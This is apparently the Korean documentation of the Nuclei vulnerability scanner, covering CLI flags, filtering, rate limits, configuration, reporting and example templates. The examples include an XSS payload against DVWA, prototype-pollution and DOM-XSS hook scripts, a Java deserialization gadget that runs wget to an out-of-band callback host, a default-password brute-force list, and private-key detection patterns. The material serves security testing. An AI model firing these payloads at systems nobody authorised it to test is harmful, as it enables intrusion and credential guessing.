별도의 템플릿 폴더 혹은 다수의 템플릿 폴더는 다음과 같이 실행될 수 있습니다.

```sh
nuclei -u https://example.com -t cves/ -t exposures/
```

URL 리스트에 대해서도 템플릿들은 실행될 수 있습니다.

```sh
nuclei -list http_urls.txt
```

2) **Workflows** (`-w/workflows`)

```sh
nuclei -u https://example.com -w workflows/
```

URL 리스트에 대해서도 Workflows들은 실행될 수 있습니다.

```sh
nuclei -list http_urls.txt -w workflows/wordpress-workflow.yaml
```

### Nuclei **필터**

Nuclei 엔진은 템플릿 실행을 커스텀하기 위해서 3개의 기본 필터를 제공합니다.

1. Tags (`-tags`)

    템플릿에서 사용가능한 태그 속성에 기반한 필터

2. Severity (`-severity`)

    템플릿에서 사용가능한 심각도 속성에 기반한 필터

3. Author (`-author`)

    템플릿에서 사용가능한 작성자 속성에 기반한 필터

기본적으로, 필터들은 템플릿 설치 경로에 적용되고, 수동 템플릿 경로 입력을 사용하여 커스텀할 수 있습니다.

예를 들어, 아래의 명령은 `~/nuclei-templates/` 폴더에 설치된 템플릿들 중에서 `cve` 태그를 가진 템플릿들을 실행시킵니다.

```sh
nuclei -u https://example.com -tags cve
```

그리고 다음은 `~/nuclei-templates/exposures/` 폴더의 `config` 태그를 가진 모든 사용가능한 템플릿들을 실행하는 예입니다.

```sh
nuclei -u https://example.com -tags config -t exposures/
```

다수의 필터를 AND 조건으로 함께 사용이 가능합니다. 다음은 `cve` 태그를 가졌고, `critical` 또는 `high` 의 심각도를 가졌고, 작성자가 `geeknik`인 모든 템플릿을 실행하는 예입니다.

```sh
nuclei -u https://example.com -tags cve -severity critical,high -author geeknik
```

다수의 필터는 템플릿 조건 플래그 (`tc`)를 이용해 조합하여 사용할 수 있습니다. 템플릿 조건 플래그으로 다음과 같은 복잡한 표현식을 사용할 수 있습니다. 

```sh
nuclei -tc "contains(id,'xss') || contains(tags,'xss')"
nuclei -tc "contains(tags,'cve') && contains(tags,'ssrf')"
nuclei -tc "contains(name, 'Local File Inclusion')"
```

필터링을 지원하는 속성 목록입니다.

- `id` string
- `name` string
- `description` string
- `tags` slice of strings
- `authors` slice of strings
- `severity` string
- `protocol` string
- `http_method` slice of strings
- `body` string (containing all request bodies if any)
- `matcher_type` slice of string
- `extractor_type` slice of string
- `description` string

또한, 템플릿의 메타데이터 영역의 키-값으로 구성된 모든 쌍이 가능합니다. 모든 속성들은 논리 연산자(`||` 와 `&&`) 를 통해 조합될 수 있고, DSL helper 함수들과 함께 사용될 수 있습니다.

모든 필터들은 workflows 에서도 마찬가지로 지원됩니다.

```sh
nuclei -w workflows/wordpress-workflow.yaml -severity critical,high -list http_urls.txt
```

!!! info "Workflows"
    Workflows에서는 Workflows를 통해 실행되는 템플릿, 서브템플릿에 Nuclei 필터가 적용됩니다.

### 속도 **제한**

Nuclei는 다양한 요인으로 다중 속도 제한 제어를 합니다. 요인으로는 병렬로 실행할 템플릿 수, 각 템플릿에 대해 병렬로 검색할 호스트 수, Nuclei를 이용하여 생성하거나 제한하고자 한 초당 총 요청 수 등이 있습니다.아래는 각 플래그에 대한 설명입니다.


| Flag       | Description                                                          |
|------------|----------------------------------------------------------------------|
| rate-limit | 초당 총 요청의 수를 제어합니다.             |
| bulk-size  | 각 템플릿마다 동시에 진행할 호스트의 수를 제어합니다. |
| c          | 동시에 진행할 템플릿의 수를 제어합니다.              |

    
Nuclei의 속도 제한과 정확도를 이 플래그를 이용하여 자유롭게 조정하세요!

!!! tip
    `rate-limit` 플래그는 다른 두 플래그보다 우선합니다. 초당 요청의 수는 `c` 와 `bulk-size` 플래그 값에 상관없이 `rate-limit` 값을 초과할 수 없습니다.

### Traffic **Tagging**

많은 버그 바운티 플랫폼과 프로그램들은 식별을 위해 여러분들이 생성한 HTTP 트래픽을 요구합니다. 이는 `$HOME/.config/nuclei/config.yaml` 의 설정 파일을 이용하거나 `-H / header` CLI 플래그를 이용하면 됩니다. 

!!! info "설정 파일을 이용한 사용자 정의 헤더 설정"

    ```yaml
    # Headers to include with each request.
    header:
      - 'X-BugBounty-Hacker: h1/geekboy'
      - 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) / nuclei'
    ```

!!! info "CLI 플래그를 이용한 사용자 정의 헤더 설정"


    ```yaml
    nuclei -header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) / nuclei' -list urls.txt -tags cves
    ```


### 템플릿 **제외**

Nuclei는 실행에 포함할 템플릿을 제외/방지 하는 다양한 방법을 제공합니다. 스캔으로 인한 예측되지 않은 퍼즈를 피하고, 대량 스캔에서 일부 제외를 위해 실행되지 않아야 하는 태그들과 템플릿들을 Nuclei에서는 기본적으로 제외합니다. 기본 제외 목록은 아래의 링크를 통해 확인 가능합니다. 이 파일은 설정 파일 혹은 플래그들을 통해 쉽게 고칠 수 있습니다.

- 기본 제외 목록: [Template ignore](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)

!!! danger ""

    **nuclei-ignore** 파일은 사용자가 업데이트/편집/제거할 수 없습니다. 이를 덮어쓰기 위해서는 [nuclei configuration](https://nuclei.projectdiscovery.io/nuclei/get-started/#nuclei-config) 파일을 이용합니다.

Nuclei는 두 가지 방법을 통해 스캔에서 제외할 템플릿을 조정할 수 있습니다.

1. Exclude Templates (`-exclude-templates/exclude`) 템플릿 제외하기 (`-exclude-templates/exclude`)

    **exclude-templates** 플래그는 하나 혹은 다수의 템플릿 그리고 디렉토리를 제외할 수 있습니다. 복수의 `-exclude-templates` 플래그를 통해 여러 값을 제공합니다.

2. Exclude Tags (`-exclude-tags/etags`) 태그 제외하기 (`-exclude-tags/etags`)

    **exclude-tags** 플래그는 정의된 태그들을 기반으로 템플릿을 제외합니다. 하나 혹은 다수의 태그를 사용해 제외할 수 있습니다.


!!! info "하나의 템플릿을 제외하는 예"

    ```
    nuclei -list urls.txt -t cves/ -exclude-templates cves/2020/CVE-2020-XXXX.yaml
    ```

!!! info "다수의 템플릿을 제외하는 예"

    ```
    nuclei -list urls.txt -exclude-templates exposed-panels/ -exclude-templates technologies/
    ```

!!! info "하나의 태그로 템플릿을 제외하는 예"

    ```
    nuclei -l urls.txt -t cves/ -etags xss
    ```

!!! info "다수의 태그를 이용해 템플릿을 제외하는 예"

    ```
    nuclei -l urls.txt -t cves/ -etags sqli,rce
    ```

[nuclei-ignore](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)를 쉽게 설정하기 위해 Nuclei는 **include-tags** / **include-templates** 플래그를 지원합니다.

!!! info "제외된 태그들을 실행하는 예"

    ```
    nuclei -l urls.txt -include-tags iot,misc,fuzz
    ```

모든 검색에 대해 이러한 태그를 포함하도록 nuclei 설정 파일을 업데이트할 수 있습니다.

## Nuclei **설정**

!!! abstract ""

    [v.2.3.2](https://blog.projectdiscovery.io/nuclei-v2-3-0-release/) 버전의 nuclei부터 깔끔한 CLI 환경과 포맷팅된 길거나 짧은 형식의 플래그들을 사용하기 위해서 [goflags](https://github.com/projectdiscovery/goflags)를 사용합니다.

    자동 생성 설정 파일을 생성하는 [goflags](https://github.com/projectdiscovery/goflags)는 사용 가능한 모든 CLI플래그를 설정 파일로 커버합니다. 기본적으로 로드되는 반복적인 CLI 플래그를 피하기 위해서 모든 CLI 플래그들을 설정 파일에 정의할 수 있습니다.

    Nuclei 설정 파일의 기본 경로는 `$HOME/.config/nuclei/config.yaml` 입니다. 기본적으로 실행할 플래그를 설정하거나 주석 해제합니다.

아래는 설정 파일의 예시입니다.

```yaml
# Headers to include with all HTTP request
header:
  - 'X-BugBounty-Hacker: h1/geekboy'

# Directory based template execution
templates:
  - cves/
  - vulnerabilities/
  - misconfiguration/

# Tags based template execution
tags: exposures,cve

# Template Filters
tags: exposures,cve
author: geeknik,pikpikcu,dhiyaneshdk
severity: critical,high,medium

# Template Allowlist
include-tags: dos,fuzz # Tag based inclusion (allows overwriting nuclei-ignore list)
include-templates: # Template based inclusion (allows overwriting nuclei-ignore list)
  - vulnerabilities/xxx
  - misconfiguration/xxxx

# Template Denylist
exclude-tags: info # Tag based exclusion
exclude-templates: # Template based exclusion
  - vulnerabilities/xxx
  - misconfiguration/xxxx

# Rate Limit configuration
rate-limit: 500
bulk-size: 50
concurrency: 50
```

일단 설정이 되면, 설정 파일을 기본적으로 사용합니다. `-config` 플래그를 통해 사용자 정의 설정 파일을 추가적으로 제공할 수 있습니다.

!!! info "사용자 정의 파일로 nuclei 실행하기"

    ```
    nuclei -config project.yaml -list urls.txt
    ```

## Nuclei **신고**

Nuclei는 GitHub, GitLab, Jira integration 을 지원하는 [v2.3.0](https://nuclei.projectdiscovery.io/releases/nuclei-changelog/#nuclei-v230-10-march-2021) 버전과 함께 신고 모듈을 제공합니다. 이는 발견된 결과에 따라 지원되는 플랫폼에서 자동으로 신고 내역을 생성할 수 있게 해줍니다.



| Platform | GitHub | GitLab | Jira | Markdown | SARIF | Elasticsearch |
| --- | --- | --- | --- | --- | --- | --- |
| Support |  |  |  |  |  |  |




`-rc, -report-config` 플래그는 통합을 위해 플랫폼의 세부 정보를 읽기 위해 설정 파일을 제공할 수 있습니다. 지원되는 모든 플랫폼에 대한 [예시 파일](https://github.com/projectdiscovery/nuclei/blob/master/v2/cmd/nuclei/issue-tracker-config.yaml) 입니다.

예를 들어, Github 에서 신고 내역을 생성하기 위해 다음의 내용을 담은 설정 파일을 생성하고 적절한 값들을 바꾸어 봅니다.

```yaml
# GitHub contains configuration options for GitHub issue tracker

github: 
  username: "$user"
  owner: "$user"
  token: "$token"
  project-name: "testing-project"
  issue-label: "Nuclei"
```

Elasticsearch의 결과들을 저장하기 위해 다음의 내용을 담은 설정 파일을 생성하고 적절한 값들을 바꾸어 봅니다.

```yaml
# elasticsearch contains configuration options for elasticsearch exporter
elasticsearch:
  # IP for elasticsearch instance
  ip: 127.0.0.1
  # Port is the port of elasticsearch instance
  port: 9200
  # IndexName is the name of the elasticsearch index
  index-name: nuclei
```

**신고 모듈과 함께 Nuclei 실행하기**

```bash
nuclei -l urls.txt -t cves/ -rc issue-tracker.yaml
```

비슷하게 다른 플랫폼들도 설정할 수 있습니다. 신고 모듈은 중복되는 신고 내역을 생성하지 않기 위해서 기본적인 필터링과 중복 체크를 지원합니다.

```yaml
allow-list:
  severity: high,critical
```

위는 심각도가 **high** 이고 **critical** 로 식별되는 이슈들에 대해서만 신고 내역을 생성합니다. 비슷하게도 `deny-list` 설정은 특정 심각도의 이슈들을 제외할 수 있습니다.

같은 에셋에 대해 주기적인 스캔을 실행한다면, 신고 모듈이 비교하고 **유니크한 이슈들에 대한 신고 내역을 생성** 하는 주어진 디렉토리에서의 유효한 발견에 대해서 로컬 복사본을 생성하는 `-rdb, -report-db` 플래그를 고려해볼 수 있습니다.

```bash
nuclei -l urls.txt -t cves/ -rc issue-tracker.yaml -rdb prod
```

**Markdown 추출**

Nuclei는 `-me, -markdown-export` 플래그를 통해 유효한 발견들을 마크다운 형식으로 추출하는 것을 지원합니다. 이 플래그는 마크다운 형식의 결과를 저장하기 위해 입력으로 디렉토리를 사용합니다.

마크다운 형식의 결과에서 요청/응답을 포함하는 것은 선택 사항입니다. 혹은 `-irr, -include-rr` 플래그가 `-me`와 함께 사용될 때 포함됩니다.

```bash
nuclei -l urls.txt -t cves/ -irr -markdown-export reports
```

**SARIF 추출**

Nuclei는 `-se, -sarif-export` 플래그를 통해 유효한 발견들을 SARIF 형식으로 추출하는 것을 지원합니다. 이 플래그는 SARIF 형식의 결과를 저장하기 위해 입력으로 파일을 사용합니다.

요청-응답 정보는 마크다운 문법 형식이고, SARIF의 응답 영역에 저장됩니다.

```bash
nuclei -l urls.txt -t cves/ -sarif-export report.sarif
```

## Scan **Metrics**

Nuclei는 **localhost:9092/metrics** 에 접속 가능하며 `-metrics` 플래그를 사용하면 로컬 포트 `9092`에서 실행 중인 scan metrics를 볼 수 있습니다. 기본 포트는 `-metrics-port` 플래그를 사용하여 설정 할 수 있습니다.

`nuclei -t cves/ -l urls.txt -metrics` 로 nuclei가 실행된 동안 `metrics`로 응답을 요청한 예시입니다.

```bash
curl -s localhost:9092/metrics | jq .
```

```json
{
  "duration": "0:00:03",
  "errors": "2",
  "hosts": "1",
  "matched": "0",
  "percent": "99",
  "requests": "350",
  "rps": "132",
  "startedAt": "2021-03-27T18:02:18.886745+05:30",
  "templates": "256",
  "total": "352"
}
```

## Passive Scan

Nuclei는 파일 지원을 통해 HTTP 기반 템플릿에 대한 수동 모드 스캔을 지원합니다. 이 기능을 통해 다른 도구에서 수집된 로컬에 저장된 HTTP 응답 데이터에 대해 HTTP 기반 템플릿을 실행할 수 있습니다.

```sh
nuclei -passive -target http_data
```

!!! info ""

    수동모드는 `{{BasedURL}}` 혹은 `{{BasedURL/}}`을 기본 경로로 가지는 템플릿들에 대해 제한됩니다.
    
## **기여**

[Nuclei templates](https://github.com/projectdiscovery/nuclei-templates) 는 nuclei 프로젝트의 기반입니다. 이 프로젝트를 위해 새로운 탬플릿을 작성하거나 제출해주시는 분께 감사드립니다. 그리고 이러한 기여는 저희가 프로젝트를 계속 지속할 큰 동기가 됩니다. 

## License

Nuclei is distributed under MIT [License](https://github.com/projectdiscovery/nuclei/blob/master/LICENSE.md).

---

## File: docs/kr/template-examples/dns.md

### 기본 템플릿

입력에 대한 CNAME 레코드가 존재하는지 감지하기 위한 기본적인 DNS 요청입니다.

```yaml
id: basic-dns-example

info:
  name: Test DNS Template
  author: pdteam
  severity: info

dns:
  - name: "{{FQDN}}"
    type: CNAME
    class: inet
    recursion: true
    retries: 3
    matchers:
      - type: word
        words:
          # 응답은 CNAME 레코드를 반드시 포함해야 합니다.
          - "IN\tCNAME"
```

### Multiple matcher

zendesk.com 또는 github.io을 가리키는 CNAME 레코드로 서브도메인을 탐지할 수 있는 여러 Matcher들을 보여주는 예시입니다.

```yaml
id: multiple-matcher

info:
  name: Test DNS Template
  author: pdteam
  severity: info

dns:
  - name: "{{FQDN}}"
    type: CNAME
    class: inet
    recursion: true
    retries: 5
    matchers-condition: or
    matchers:
      - type: word
        name: zendesk
        words:
          - "zendesk.com"
      - type: word
        name: github
        words:
          - "github.io"
```

---

## File: docs/kr/template-examples/file.md

### 기본 파일 템플릿

제공된 파일에서 패턴 체크를 하는 템플릿입니다.

```yaml
id: ssh-public-key

info:
  name: SSH Public Key Detect
  author: pd-team
  severity: low

file:
  - extensions:
      - pub
    max-size: 1024 # read very small chunks

    matchers:
      - type: word
        words:
          - "ssh-rsa"
```

### 비재귀, 제외 목록 확장

아래의 템플릿은 위의 템플릿과 동일합니다. 하지만, 비재귀 옵션과 함께 제외 목록을 사용하고 있습니다.

```yaml
id: ssh-private-key

info:
  name: SSH Private Key Detect
  author: pd-team
  severity: high

file:
  - extensions:
      - all
    denylist:
      - pub
    no-recursive: true
    max-size: 1024 # read very small chunks

    matchers:
      - type: word
        words:
          - "BEGIN OPENSSH PRIVATE KEY"
          - "BEGIN PRIVATE KEY"
          - "BEGIN RSA PRIVATE KEY"
          - "BEGIN DSA PRIVATE KEY"
          - "BEGIN EC PRIVATE KEY"
          - "BEGIN PGP PRIVATE KEY BLOCK"
          - "ssh-rsa"
```

---

## File: docs/kr/template-examples/headless.md

### 기본 헤드리스 탐색 예시

이 템플릿은 헤드리스 브라우저의 URL을 방문하여 로드될 때까지 기다립니다.

```yaml
id: basic-headless-request

info:
  name: Basic Headless Request
  author: pdteam
  severity: info

headless:
  - steps: 
    - action: navigate
      args:
        url: "{{BaseURL}}" 
    - action: waitload
```

### 헤드리스 프로토타입 오염 감지

아래 템플릿은 Nuclei 헤드리스 기능이 있는 페이지에서 프로토타입 오염을 감지합니다. 탐지를 위한 코드는 [https://github.com/msrkp/PPScan](https://github.com/msrkp/PPScan)에서 가져왔습니다. 우리는 핵의 스크립트 주입 기능을 사용하여 프로토타입 오염에 대한 신뢰할 수 있는 탐지를 제공합니다.

```yaml
id: prototype-pollution-check

info:
  name: Prototype Pollution Check
  author: pd-team
  severity: medium
  reference: https://github.com/msrkp/PPScan

headless:
  - steps:
      - action: setheader
        args:
          part: response
          key: Content-Security-Policy
          value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
      - action: setheader
        args:
          part: response
          key: X-Frame-Options
          value: foo
      - action: setheader
        args:
          part: response
          key: If-None-Match
          value: foo
      # Set the hook to override window.data for xss detection
      - action: script
        args:
          hook: true
          code: |
            // Hooking code adapted from https://github.com/msrkp/PPScan/blob/main/scripts/content_script.js
            (function() {window.alerts = [];

            function logger(found) {
            	window.alerts.push(found);
            }

            function check() {
                loc = location.href;

                if (loc.indexOf("e32a5ec9c99") >= 0 && loc.search("a0def12bce") == -1) {
                    setTimeout(function() {
                        if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60") {
                            logger(location.href);
                        }
                        var url = new URL(location.origin + location.pathname);
                        url.hash = "__proto__[a0def12bce]=ddcb362f1d60&__proto__.a0def12bce=ddcb362f1d60&dummy";
                        location = url.href;
                    }, 5 * 1000);
                } else if (loc.search("a0def12bce") != -1) {
                    setTimeout(function() {
                        if (Object.prototype.a0def12bce == "ddcb362f1d60") {
                            logger(location.href);
                        }
                        window.close();
                    }, 5 * 1000);
                } else {
                    var url = new URL(loc);
                    url.searchParams.append("__proto__[e32a5ec9c99]", "ddcb362f1d60");
                    url.searchParams.append("__proto__.e32a5ec9c99", "ddcb362f1d60");
                    location = url.href;
                }
            }

            window.onload = function() {
                if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60" ||  Object.prototype.a0def12bce == "ddcb362f1d60") {
                    logger(location.href);
                } else {
                    check();
                }
            };

            var timerID = setInterval(function() {
                if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60" || Object.prototype.a0def12bce == "ddcb362f1d60") {
                    logger(location.href);
                    clearInterval(timerID);
                }
            }, 5 * 1000)})();
      - args:
          url: "{{BaseURL}}"
        action: navigate
      - action: waitload
      - action: script
        name: alerts
        args:
          code: "window.alerts"
    matchers:
      - type: word
        part: alerts
        words:
          - "__proto__"
    extractors:
      - type: kval
        part: alerts
        kval:
          - alerts
```

### 헤드리스 모드로 DVWA XSS 재현

이 템플릿은 DVWA(Damn Vulnerable Web App)에 로그인하고 Reflected XSS를 자동으로 재현하려고 시도하며 페이로드가 성공적으로 실행된 경우 일치 항목을 반환합니다.

```yaml
id: dvwa-xss-verification

info:
  name: DVWA Reflected XSS Verification
  author: pd-team
  severity: info

headless:
  - steps:
      - args:
          url: "{{BaseURL}}"
        action: navigate
      - action: waitload

      # xss 감지를 위해 window.data를 재정의하도록 후크 설정
      - action: script
        args:
          hook: true
          code: "(function() { window.alert = function() { window.data = 'found' } })()"
      - args:
          by: x
          value: admin
          xpath: /html/body/div/div[2]/form/fieldset/input
        action: text
      - args:
          by: x
          value: password
          xpath: /html/body/div/div[2]/form/fieldset/input[2]
        action: text
      - args:
          by: x
          xpath: /html/body/div/div[2]/form/fieldset/p/input
        action: click
      - action: waitload
      - args:
          by: x
          xpath: /html/body/div/div[2]/div/ul[2]/li[11]/a
        action: click
      - action: waitload
      - args:
          by: x
          value: '"><svg/onload=alert(1)>'
          xpath: /html/body/div/div[3]/div/div/form/p/input
        action: text
      - args:
          keys: "\r" # 키보드의 Enter 키를 누릅니다.
        action: keyboard
      - action: waitload
      - action: script
        name: alert
        args:
          code: "window.data"
    matchers:
      - part: alert
        type: word
        words:
          - "found"
```

### DOM XSS 감지

이 템플릿은 `eval`, `innerHTML` 및 `document.write`와 같은 공통 싱크를 후킹하여 `window.name` 소스에 대한 DOM-XSS 감지를 수행합니다.

```yaml
id: window-name-domxss

info:
  name: window.name DOM XSS
  author: pd-team
  severity: medium

headless:
  - steps:
      - action: setheader
        args:
          part: response
          key: Content-Security-Policy
          value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
      - action: script
        args:
          hook: true
          code: |
            (function() {window.alerts = [];

            function logger(found) {
            	window.alerts.push(found);
            }

            function getStackTrace () {
              var stack;
              try {
                throw new Error('');
              }
              catch (error) {
                stack = error.stack || '';
              }
              stack = stack.split('\n').map(function (line) { return line.trim(); });
              return stack.splice(stack[0] == 'Error' ? 2 : 1);
            }
            window.name = "{{randstr_1}}'\"<>";

            var oldEval = eval;
            var oldDocumentWrite = document.write;
            var setter = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML').set;
            Object.defineProperty(Element.prototype, 'innerHTML', {
              set: function innerHTML_Setter(val) {
                if (val.includes("{{randstr_1}}'\"<>")) {
                  logger({sink: 'innerHTML', source: 'window.name', code: val, stack: getStackTrace()});
                }
                return setter.call(this, val)
              }
            });
            eval = function(data) {
              if (data.includes("{{randstr_1}}'\"<>")) {
                logger({sink: 'eval' ,source: 'window.name', code: data, stack: getStackTrace()});
              }
              return oldEval.apply(this, arguments);
            };
            document.write = function(data) {
              if (data.includes("{{randstr_1}}'\"<>")) {
                logger({sink: 'document.write' ,source: 'window.name', code: data, stack: getStackTrace()});
              }
              return oldEval.apply(this, arguments);
            };
            })();
      - args:
          url: "{{BaseURL}}"
        action: navigate
      - action: waitload
      - action: script
        name: alerts
        args:
          code: "window.alerts"
    matchers:
      - type: word
        part: alerts
        words:
          - "sink:"
    extractors:
      - type: kval
        part: alerts
        kval:
          - alerts
```

---

## File: docs/kr/template-examples/helper-functions.md

### 함수 도우미 예시

Nuclei에는 요청 블록에서 다양한 런타임 작업을 수행하는 데 사용할 수 있는 여러 도우미 기능이 있습니다. 다음은 사용 가능한 모든 도우미 기능을 사용하는 방법을 보여주는 예제 템플릿입니다.

```yaml
id: helper-functions-examples

info:
  name: RAW Template with Helper Functions
  author: pdteam
  severity: info

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        01: {{base64("Hello")}}
        02: {{base64(1234)}}
        03: {{base64_decode("SGVsbG8=")}}
        04: {{base64_py("Hello")}}
        05: {{compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')}}
        06: {{concat("Hello", "world")}}
        07: {{contains("Hello", "lo")}}
        08: {{date_time("%Y-%M-%D")}}
        09: {{date_time("%Y-%M-%D", unix_time())}}
        10: {{date_time("%H-%m")}}
        11: {{date_time("02-01-2006 15:04")}}
        12: {{date_time("02-01-2006 15:04", unix_time())}}
        13: {{dec_to_hex(11111)}}
        14: {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
        15: {{gzip("Hello")}}
        16: {{gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))}}
        17: {{hex_decode("6161")}}
        18: {{hex_encode("aa")}}
        19: {{hmac("sha1", "test", "scrt")}} 
        20: {{hmac("sha256", "test", "scrt")}}
        21: {{html_escape("<body>test</body>")}}
        22: {{html_unescape("&lt;body&gt;test&lt;/body&gt;")}}
        23: {{join("_", "hello", "world")}}
        24: {{len("Hello")}}
        25: {{len(5555)}}
        26: {{md5("Hello")}}
        27: {{md5(1234)}}
        28: {{mmh3("Hello")}}
        29: {{print_debug(1+2, "Hello")}}
        30: {{rand_base(5, "abc")}}
        31: {{rand_base(5, "")}}
        32: {{rand_base(5)}}
        33: {{rand_char("abc")}}
        34: {{rand_char("")}}
        35: {{rand_char()}}
        36: {{rand_int(1, 10)}}
        37: {{rand_int(10)}}
        38: {{rand_int()}}
        39: {{rand_ip("192.168.0.0/24")}}
        40: {{rand_ip("2002:c0a8::/24")}}
        41: {{rand_ip("192.168.0.0/24","10.0.100.0/24")}}
        42: {{rand_text_alpha(10, "abc")}}
        43: {{rand_text_alpha(10, "")}}
        44: {{rand_text_alpha(10)}}
        45: {{rand_text_alphanumeric(10, "ab12")}}
        46: {{rand_text_alphanumeric(10)}}
        47: {{rand_text_numeric(10, 123)}}
        48: {{rand_text_numeric(10)}}
        49: {{regex("H([a-z]+)o", "Hello")}}
        50: {{remove_bad_chars("abcd", "bc")}}
        51: {{repeat("a", 5)}}
        52: {{replace("Hello", "He", "Ha")}}
        53: {{replace_regex("He123llo", "(\\d+)", "")}}
        54: {{reverse("abc")}}
        55: {{sha1("Hello")}}
        56: {{sha256("Hello")}}
        57: {{to_lower("HELLO")}}
        58: {{to_upper("hello")}}
        59: {{trim("aaaHelloddd", "ad")}}
        60: {{trim_left("aaaHelloddd", "ad")}}
        61: {{trim_prefix("aaHelloaa", "aa")}}
        62: {{trim_right("aaaHelloddd", "ad")}}
        63: {{trim_space("  Hello  ")}}
        64: {{trim_suffix("aaHelloaa", "aa")}}
        65: {{unix_time(10)}}
        66: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}}
        67: {{url_encode("https://projectdiscovery.io/test?a=1")}}
        68: {{wait_for(1)}}
        69: {{zlib("Hello")}}
        70: {{zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))}}
        71: {{hex_encode(aes_gcm("AES256Key-32Characters1234567890", "exampleplaintext"))}}
        72: {{starts_with("Hello", "He")}}
        73: {{ends_with("Hello", "lo")}}
        74: {{line_starts_with("Hi\nHello", "He")}}
        75: {{line_ends_with("Hello\nHi", "lo")}}
```

---

## File: docs/kr/template-examples/http.md

### Basic Template

This template requests `/` path of URL and match string in the response.


```yaml
id: basic-example

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "This is test matcher text"
```

### Multiple matchers

This template requests `/` path of URL and run multiple OR based matchers against response.


```yaml
id: http-multiple-matchers

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        name: php
        words:
          - "X-Powered-By: PHP"
          - "PHPSESSID"
        part: header

      - type: word
        name: node
        words:
          - "Server: NodeJS"
          - "X-Powered-By: nodejs"
        condition: or
        part: header

      - type: word
        name: python
        words:
          - "Python/2."
          - "Python/3."
        part: header
```

### Matchers with conditions

This template requests `/` path of URL and runs two matchers, one with AND conditions with string match in header and another matcher against response body.


```yaml
id: matchers-conditions

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        words:
          - "X-Powered-By: PHP"
          - "PHPSESSID"
        condition: and
        part: header

      - type: word
        words:
          - "PHP"
        part: body
```

### Multiple matcher conditions

This template requests `/` path of URL and runs two matchers with AND conditions, one with OR conditions with string match in header and another matcher against response body, both condition has to be true in order to match this template.

```yaml
id: multiple-matchers-conditions

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "X-Powered-By: PHP"
          - "PHPSESSID"
        condition: or
        part: header

      - type: word
        words:
          - PHP
        part: body
```

### Custom headers

This template requests `/` path of the URL as GET request with additional custom headers defined in the template.   

```yaml
id: custom-headers

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

http:
  - method: GET

    # Example of sending some headers to the servers

    headers:

      X-Client-IP: 127.0.0.1
      X-Remote-IP: 127.0.0.1
      X-Remote-Addr: 127.0.0.1
      X-Forwarded-For: 127.0.0.1
      X-Originating-IP: 127.0.0.1

    path:
      - "{{BaseURL}}/server-status"

    matchers:
      - type: word
        words:
          - Apache Server Status
          - Server Version
        condition: and
```

### POST requests

This template makes POST request to `/admin` endpoint with defined data as body parameter in the template.   



```yaml
id: post-request

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

http:
  - method: POST
    path:
      - "{{BaseURL}}/admin"

    body: 'admin=test'

    matchers:
      - type: word
        words:
          - Welcome Admin
```

### Time based Matcher

This template is example of DSL based duration matcher that returns `true` when the response time matched the defined duration, in this case 6 or more than 6 seconds.

```yaml
id: time-based-matcher

info:
  name: DSL based response time matcher
  author: pdteam
  severity: none

http:
  - raw:
      - |
        GET /slow HTTP/1.1

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
```

---

## File: docs/kr/template-examples/http-fuzzing.md

### HTTP Intruder fuzzing

이 템플릿은 'clusterbomb' Intruder를 실행하고 응답에 대한 문자열 일치를 확인하는 템플릿 정의 페이로드와 함께 RAW 형식으로 정의된 POST 요청을 만듭니다.


```yaml
id: multiple-raw-example
info:
  name: Test RAW Template
  author: pdteam
  severity: info

# 템플릿 페이로드 지원으로 HTTP Intruder fuzzing.

http:

  - raw:
      - |
        POST /?username=§username§&paramb=§password§ HTTP/1.1
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5)
        Host: {{Hostname}}
        another_header: {{base64('§password§')}}
        Accept: */*
        body=test

    payloads:
      username:
        - admin

      password:
        - admin
        - guest
        - password
        - test
        - 12345
        - 123456

    attack: clusterbomb # Available: batteringram,pitchfork,clusterbomb

    matchers:
      - type: word
        words:
          - "Test is test matcher text"
```

### 여러 요청 fuzzing

이 템플릿은 'clusterbomb' Intruder를 실행하고 응답에 대한 문자열 일치를 확인하는 단어 목록 기반 페이로드와 함께 RAW 형식으로 정의된 POST 요청을 만듭니다.

```yaml
id: multiple-raw-example
info:
  name: Test RAW Template
  author: pdteam
  severity: info

http:

  - raw:
      - |
        POST /?param_a=§param_a§&paramb=§param_b§ HTTP/1.1
        User-Agent: §param_a§
        Host: {{Hostname}}
        another_header: {{base64('§param_b§')}}
        Accept: */*

        admin=test

      - |
        DELETE / HTTP/1.1
        User-Agent: nuclei
        Host: {{Hostname}}

        {{sha256('§param_a§')}} 

      - |
        PUT / HTTP/1.1
        Host: {{Hostname}}

        {{html_escape('§param_a§')}} + {{hex_encode('§param_b§'))}}

    attack: clusterbomb # Available types: batteringram,pitchfork,clusterbomb
    payloads:
      param_a: payloads/prams.txt
      param_b: payloads/paths.txt

    matchers:
      - type: word
        words:
          - "Test is test matcher text"
```


### 인증이 필요한 fuzzing


